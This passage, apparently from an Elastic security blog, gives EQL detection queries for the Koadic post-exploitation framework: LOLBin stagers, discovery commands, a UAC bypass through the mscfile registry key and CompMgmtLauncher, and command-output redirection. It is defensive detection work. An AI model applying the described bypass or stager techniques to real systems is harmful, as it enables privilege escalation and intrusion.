The EQL query below uses the sequence operator, a function of EQL that matches based on the order of events in a sequence. In this case, we are matching when one of these standard Windows administration utilities initiates a network connection. Where another language might require an analyst to write several rules — one for each of these utilities — EQL enables us to build an array capable of matching many permutations.

Using the filter operator joins these events in sequence by their process identifier (PID). I like this example because it’s capable of detecting malware and other offensive tools that aren’t specific to Koadic. With that said, it might take a little filtering to remove potentially benign events such as network administrative activity, but this kind of behavior is something every organization should be tracking and reviewing on a certain cadence.

Defense evasion & execution - stagers

EQL query:

sequence by unique_pid
[process where subtype.create and process_name in
("mshta.exe", "regsvr32.exe", "rundll32.exe", "wmic.exe")]
[network where process_name in
("mshta.exe", "regsvr32.exe", "rundll32.exe", "wmic.exe")]

One of the more interesting takeaways when reviewing offensive tooling is finding the different artifacts that get left behind unintentionally. All it takes is one “loud” artifact, such as a file or registry modification that sticks out, to quickly find suspicious activity.

In Koadic’s case, HTTP stagers use Internet Explorer’s core architecture to make a web request by default, which causes the stager to be created within the Temporary Internet Files directory. This behavior occurs due to the way Internet Explorer caches browser content to quickly load web pages. Monitoring this kind of behavior with certain executables can lead to reliable detections outside Koadic, such as generic cradles used to download and execute malicious code.

Defense evasion & execution - cached stager

EQL query:

file where process_name in
("mshta.exe","regsvr32.exe", "rundll32.exe", "wmic.exe")
and subtype.create and file_path == "*Content.IE5*"

Discovery

Account Discovery (T1087), Remote System Discovery (T1096)

Discovery - macro

A feature of EQL is the ability to share or reuse similar logic between queries. By using macro declaration, we can bundle a collection of items together and call the array like a variable. A good example would be grouping Microsoft Office applications into a macro, or, in this case, several different Windows programs that can be used for discovery and enumeration.

EQL query (macro):

macro KOADIC_DISCOVERY(name)
name in (
"arp.exe", "findstr.exe", "hostname.exe", "ipconfig.exe",
"nbtstat.exe", "net.exe", "net1.exe", "netsh.exe",
"nltest.exe", "ping.exe", "systeminfo.exe", "tasklist.exe",
"tracert.exe", "whoami.exe"
)

The Elastic Endpoint Resolver view below helps provide some context about how Koadic spawns child processes. By using the Koadic module (exec_cmd), and running a natively supported command such as “whoami /groups”, we can see the Rundll32.exe application was invoked by WmiPrvse.exe and passes instructions down to the command prompt before launching the Whoami.exe application.

Elastic Endpoint Resolver visualization

Now that we have a better understanding of the attack chain, let’s tie our previous macro (KOADIC_DISCOVERY) into a sequence-based detection looking for three process creation events from any one of those enumeration programs within a period of 10 minutes, executed by the same user. This same feature would let you monitor for processes that were previously observed. For example, maybe 15 days later the process makes a network connection to pull down an additional payload. What other language lets you find long-term payloads that sit dormant for weeks or months?

EQL query:

sequence by user_name with maxspan=10m
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
[process where subtype.create and KOADIC_DISCOVERY(process_name)]
| unique user_name

The query above is fully-functional and can be used as a generic detection for initial discovery and enumeration. But what if we had some reason to tighten the logic around Koadic specifically? Understanding the process genealogy of Koadic at the endpoint level, we can leverage different process relationship tracking functions in EQL such as child of and descendant of.

By using the child of function and setting the parent process to Rundll32.exe, we are essentially getting the grandchildren of Rundll32.exe. Then if we wanted to take it even further, we can add the descendant of parent process WmiPrvse.exe. This example demonstrates the flexibility of EQL to provide powerful detection capabilities for real adversary behavior.

Process tree visualization - child of and descendant of

EQL query:

sequence by user_name with maxspan=10m
[process where child of [process where parent_process_name == "rundll32.exe"]
and KOADIC_DISCOVERY(process_name) and
descendant of [process where parent_process_name == "wmiprvse.exe"]]
[process where child of [process where parent_process_name == "rundll32.exe"]
and KOADIC_DISCOVERY(process_name) and
descendant of [process where parent_process_name == "wmiprvse.exe"]]
| unique user_name

Privilege escalation

Bypass User Account Account (T1088)

While attackers control targeting of victims in many cases, they don’t always wind up with an elevated user during initial compromise. Even when a spearphishing victim is a local administrator, the attacker will oftentimes need to escalate from a Medium to High integrity process before continuing. Off-the-shelf offensive tools like Koadic can enable that transition with relative ease, including several different UAC Bypass modules out of the box.

For this example, we’ll examine a well-known UAC Bypass technique published by Matt Nelson (@enigma0x3) while leveraging the Computer Management launcher — CompMgmtLauncher.exe — which is interoperable with the Microsoft Management Console (MMC). Details about this technique, which still works on Windows 7 endpoints, can be found here.

This technique involves modifying the Windows Registry to change the default association of files the MMC interacts with (HKCU\Software\Classes\mscfile\shell\open\command) to an application of the attacker’s choice. By deploying a malicious script object with a compatible extension and altering this registry key value to launch a built-in script interpreter, an adversary is able to circumvent controls.

Right after this registry modification, look for the new process creation event tied to the auto-elevated Microsoft program (CompMgmtLauncher.exe), followed by common Koadic stager descendant processes such as Mshta.exe or Rundll32.exe — processes that should be running in a high integrity context. We can combine those events into an ordered sequence and constrain the total run-time for all the steps to complete within 10 seconds.

Privilege escalation - UAC bypass

EQL query:

sequence with maxspan=10s
[registry where length(bytes_written_string) \> 0 and key_type in
("sz", "expandSz") and key_path == "*\\mscfile\\shell\\open\\command\\"
and user_name != "SYSTEM"]
[process where process_path == "C:\\Windows\\System32\\CompMgmtLauncher.exe"]
[process where process_name in ("mshta.exe","rundll32.exe") and
integrity_level == "high"]

Collection/exfiltration

Data from Local System (T1005)

Koadic’s method of C2 may be interesting to analysts of several kinds due to the transactional way it exchanges data between implants and server. This behavior is highlighted through some direct examples of specific commands executed below:

Command shell redirection into text files

Koadic redirects STDOUT/STDERR to a temporary text file that stores the output of the operator’s commands as they were presented to the server. These commands are then read back into the Koadic C2 terminal. One second after this file is initially created, it is automatically deleted.

With the right endpoint visibility, malicious behaviors you might be incapable of otherwise detecting stand out. To demonstrate a detection around this, we will use the event of function to filter only for processes that come from cmd.exe that contain a redirector (\>), then tie the PID of that process to same PID that performed file activity related to the text (.txt) file activity.

EQL query:

file where file_name == "*.txt" and
event of [process where process_name == "cmd.exe" and command_line == "*\>*"]

Example results showing file modification

If you wanted to get more context, such as what command was passed from Koadic, we can turn the detection into a sequence and add the process event.

EQL query:

sequence with maxspan=5s by unique_pid
[process where subtype.create and process_name == "cmd.exe" and command_line == "*\>*" and
descendant of [process where process_name == "wmiprvse.exe"]]
[file where subtype.create and wildcard(file_name, "*.txt", "*.log")]

Example results combining process and file modification

Conclusion

To summarize, we analyzed one offensive framework (Koadic) and several of its prominent features, reviewed a flexible query language (EQL) to express detection logic, and stepped through several ways to identify behavior tied to Koadic with example analytics.

I see the availability of offensive frameworks like Koadic as an opportunity for defenders, and a motivation to stay vigilant. Thinking creatively about how to detect these post-exploitation behaviors and assessing how these tools perform against their own detection capabilities will put an organization on a path to greater success in stopping similar threats.

To help enable organizations, we’ve added all the queries in this post into the EQLLib repository. For readers interested in the original presentation from BSidesDFW this year, here is a link to the slides.

EQL support is being added to Elasticsearch.